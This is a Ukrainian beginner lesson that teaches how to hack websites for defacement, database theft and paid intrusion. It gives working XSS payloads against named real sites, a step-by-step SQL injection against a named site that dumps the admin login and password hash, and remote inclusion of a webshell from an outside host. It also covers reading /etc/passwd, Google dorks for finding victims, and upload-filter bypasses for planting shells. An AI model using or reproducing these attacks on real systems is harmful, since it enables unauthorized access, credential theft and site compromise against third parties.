Основи.
Привіт читачу. Я вирішив довго не зволікати і вже в цій статті розповісти про те, якими способами зламують сайти, які бувають уразливості
і навіщо власне зламувати сайти.Що ви дізнаєтесь на сьогоднішньому уроці:

  • Хто і навіщо?
  • Які бувають уразливості.
  • Веб шелл, як і що.

Примітка: курсивом виділяються слова, які можливо будуть вам не зрозумілі. Знайти їх значення ви зможете в кінці статті.

Хто і навіщо?
Взагалі під поняттям злому я розумію несанкціонований доступ до чого-небудь.
Ми ламаємо веб сайти. Тому нам потрібно отримати доступ до адміністративної панелі, або вкрасти базу даних сайту, або просто змінити головну сторінку.
Все залежить від такого для чого проводиться злом.
Розглянемо основні мотиви:

Зміни головної сторінки заради задоволення && помсти. Це називається «дефейс сайту
Злодійство бази даних — це може бути вигідно якщо ми, наприклад, взломаем базу даних онлайн шопа (магазину). Або проводиться злом на замовлення і замовнику потрібна база
Злом проводитися заради підвищення прав на сервері.

Тепер поговоримо про таке поняття як скрипт кідді.
Скрипт кідді — це люди, як правило не дуже розбираються в хаке і програмуванні.
Тобто які не можуть самостійно знайти вразливість і реалізувати її.
Так як же вони зламують? Вони просто використовують чужі напрацювання.
Припустимо скрипт кідді потрібно зламати один форум. Він дізнається версію форуму і йде на багтрак. Знаходить опис уразливості і використовує її.
Багтраком називають сайт на якому розташовані опис вразливостей форумів CMS, і де викладаються експлоїти.
Або другий варіант — для розваги — скрипт кідді знову ж таки йде на багтрак і вибирає вразливість. Наприклад, він вибирає сплоіт для CMS php nuke 7.0.
Далі він йде в пошуковик і робить следущюий запит:
site: php nuke 7.0 — цим він отримає список сайтів з встановленою CMS Nuke
Далі він просто використовує експлоїт. Це, до речі, називається гугл хакінг.
Як не крутись, але через період «скрипт кідді» проходив кожен. І тобі доведеться пройти. Тільки ось деякі рухаються далі, а деякі зупиняються на цьому.

Які бувають вразливості?Три найбільш тривіальних це xss уразливостей sql injection php include
В кожному уроці я буду потроху розповідати про кожну з них.
Зараз розберемо все коротенько не зациклюючись на деталі уразливості.

XSS.
Мета у цієї уразливості одна — вкрасти Cookes файли.
Отже, спочатку із за чого з’являються Xss
Відбувається все це через відсутність фільтрації вхідних даних
Розберемо відразу на прикладі:
www.atlant.wsСправа ми бачимо текстові поля для пошуку. Спробуємо ввести простий html тег [hr]
І ми побачимо лінію (в цей HTML тег означає провести лінію)
В адресному рядку ми бачимо:
http://www.atlant.ws/?set=search&www=false&query=[hr]
Значить дані передаються GET запитом.
Але від звичайного тега небезпеки ніякої. Спробуємо ввести простенький javascript сценарій.
www.atlant.ws/?set=search&www=false&query=[script]alert(‘xss’)[/script]
Опа. З’явилося повідомлення. Значить код виконується. Т. к. в javascript функція alert() виводить повідомлення.
Це називається пасивна xss. Пасивна вона тому що потрібно провести якісь дії що б виконати код. В нашому випадку потрібно передати його в змінну запиту (q)
Крім пасивних xss існує активні.
Знову ж приклад:
www.addtop.ru/kom.php?id=32
Вводимо в коментарі скрипт
[script]alert(‘xss’)[/script]
І відправляємо його.
Бачимо повідомлення. Тепер кожен користувач, який знайдено на сторінку коментарів побачить його.
Відчуваєш різницю? У пассивке потрібно робити якісь дії з користувачем. Тобто потрібно передавати йому спеціальний адреса, за якою він повинен пройти.
А в активке потрібно, що б користувач просто відвідав сторінку, в якій вже укладено наш код.
Поки про xss все. Не хочу навантажувати тебе інформацією. Спробуй пошукати активні і пасивні xss.
Так само раджу гарненько вивчити, що таке Cookes. У наступному уроці ми розглянемо, як їх красти. І навіщо.
В кінці статті я наведу кілька корисний посилань на цю тему.

Введення в PHP include.
Якщо ми знайшли таку вразливість то зможемо читати файли на сервері або завантажити вебшелл.
Розберемо спочатку, що таке веб шелл.
Веб шелл це php скрипт. C допомогою нього ми зможемо змінювати файли сайту або виконувати команди в системі.
Загалом, шелл замінює адміністративну панель. Власне мета більшості зломів залити веб шелл.
Якими способами? PHP include один з них. Отже, давайте поверхнево розберемо вразливість

Бачимо на сайті такий url:
www.site.ru?page=home.html
Це означає, що на сторінку підвантажується файл home.html
А що якщо спробувати подгузить свій файл? Наприклад, так:
www.site.ru?page=http:/hacker.ru/webshell.php
Так ми пробуємо завантажити веб шелл на сайт.
Якщо ми побачимо результат роботи webshell.php значить нам круто пощастило. І можна вважати, що сайт зламаний.
Це називається віддалений инклуд. Віддалений тому що нам вдалося завантажити скрипт з іншого сервера.
Крім віддалених, інклуд бувають локальні.
В цьому випадку ми зможемо читати файли на сервері.
Наприклад, зараз ми спробуємо прочитати файл з іменами користувачів системи:
www.site.ru?page=/etc/passwd
Ось, знову ж таки спробуй пошукати php include. Раджу скористатися google:
Inurl:page=
Такий запит покаже нам сайти, в урлі яких присутній рядок page=. Далі спробуй підставити будь-який набір символів параметр page. Якщо з’явитися помилка, значить скрипт вразливий
До речі якщо знайдеш php инклуд, то можна отримати xss ось так:
www.site.ru?page=[script]alert(/xss/)[/script]
Це працює в багатьох випадках.
У наступному уроці я розповім про те: чому відбувається php include, що таке null byte і труднощі при читанні файлів.

Введення в SQL Injection
Дуже поширена уразливість. Суть її використання полягає в тому, що б витягнути необхідну нам інформацію з бази даних. Зазвичай цими даними є логін і пароль адміністратора сайту.
Але іноді можливо залити шелл або прочитати файл за допомогою sql injection. Про це поговоримо в наступних уроках. А зараз самі основи
Ми будемо розбирати ін’єкцію при роботі з базою даних my sql. Вона найпоширеніша. Крім неї часто зустрічаються mssql, oracle. Кожну потрібно зламувати по-своєму. Але зараз mysql.Вразливість можна знайти, якщо ми побачимо, що в адресному рядку параметру передається числове значення. Наприклад:
http://www.descom.ch/main.php?id=18646644
Що б перевірити параметр на sql injection зазвичай підставляють лапки
http://www.descom.ch/main.php?id=18646644′ або інші ліві символи
Бачимо помилку. Розуміємо, що це mysql.
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/web137/html/descom/include/queries.inc.php on line 19

Що б витягнути інформацію потрібно знайти кількість полів і визначити які з них читаються (тобто з яких колонок можна змусити інфу)Робиться це за допомогою конструкції order by.
http://www.descom.ch/main.php?id=18646644+order+by+10/*
Висновок той самий, значить полів менше
http://www.descom.ch/main.php?id=18646644+order+by+7/*
Так. Висновок змінився. Значить полів 7.
Тепер потрібно отримати читабельні поля. http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,4,5,6,7/*
Висновок: 4,5. Дізнатися нам це вдалося з допомогою конструкції select
У нас є колонки. Тепер потрібно отримати інформацію про базу.
http://www.descom.ch/main.php?id=18646644’+union+select+1,2,3,version(),5,6,7/*
Бачимо що mysql v5 — – У цій версії є деякі особливості при зломі, але поки розбирати це не будемо і спробуємо просто підібрати таблицю.
Робиться це так:
http://www.descom.ch/main.php?id=18646644’+union+select+1,2,3,version(),5,6,7/+from+таблиця/*
таблицю нам потрібно підібрати самим. Найбільш поширена це user або users. Список часто використовуваних таблиць можна знайти
ссылке
У нашому випадку мені вдалося дізнатися, що ім’я таблиці user.
Тепер можна приступити до висновку інформації. Нам потрібно дістати логін і пароль.
Спробуємо:
http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*
І у нас на екрані логін і хеш пароля адміністратора.
Ось таким не хитрим чином вдалося зламати базу.
До речі тут теж має місце xss:
http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,[script]alert(/xss/)[/script],5,6,7/*

Отже, ми розібрали три основних уразливості. Я не став поки копати глибоко, а розповів тільки поверхневу інформацію, що б трохи вас заманити. У следуюих уроках
я буду розповідати про причини вразливостей, так само буду приводити шматки вразливих програм. Так що бажано підучити php і mysql
До речі набір ін’єкція і инклудов для тренування ти завжди зможеш знайти на форумі хакзоны:
sql inj
php inc

Ще парочка способів завантажити веб шелл.
Як ти напевно вже зрозумів головне це веб шелл. Вище я показував, як його можна залити за допомогою php include. Але це звичайно не єдиний спосіб
На безлічі сайтів є можливість завантаження будь-яких файлів. Вже здогадався? Ми без проблем зможемо замість звичайного файлу підставити веб шелл. Але не все так просто. Іноді скрипт перевіряє дозвіл.
Припустимо нам можна завантажити картинку. Але якщо замість неї ми спробуємо залити файл webshell.php скрипт може перевірити дозвіл і заборонити завантаження. Це можна обійти таким способом:
Поміняти дозвіл на таке:
webshell.php.jpg.
і можливо нам вдасться завантажити шелл.
Але буває, що сайт перевіряє не тільки ім’я файлу, але і його вміст. Тобто він дивиться картинка це або текст
Для цього можна вчинити ось так:
Відкрити картинку в будь-якому текстовому редакторі і в кінці додати php скрипт.

Терміни, які використовуються в статті.
Нижче я наведу слова, які можливо були тобі не зрозуміло по ходу статті:
Дефейс — заміна сторінки сайту на свою або редагування сторінки під власні потрібні. Наприклад «Hacked by вася»
CMS або ще кажуть движок-двиг — система управління сайтом.
Експлоїт — сплоіт -virus-xploit — програма автоматично реалізує якусь вразливість. По суті, сплоіт можна написати на будь-якому мова програмування
Cookes файли які застосовується для збереження даних на стороні користувача, на практиці зазвичай використовується для:

  • аутентифікації користувача;
  • зберігання персональних переваг і налаштувань користувача;
  • відстеження стану сесії доступу користувача;
  • ведення статистики користувачів.

Якщо ми вкрадемо «Куки» адміністратора сайту, та замінимо їх на свої, то без проблем зможемо аутентифицироваться як адмін.
У наступній статті я розповім про крадіжки Cookes з допомогою xss
bugtraq-багтрак — Сайт на якому розташовуються експлоїти і опис уразливості в CMS форумах і програмному забезпеченні.
Google hacking — гугл хакінг — Використання пошуковика google для пошуку вразливих стайтов або для збирання інформації про сайт.

Післямова
Ось і підійшов до кінця 2 урок. На наступному ми більш докладно розберемо xss php include та sql injection. Далі я покажу кілька прийомів веб хаке. І в кінці ми поговоримо про эксплоитах.
Для самоосвіти можна почитати ось це:
xss
sql injection
php include

Попередня статтяLindows здобула попередню перемогу над Microsoft
Наступна статтяBat-forever!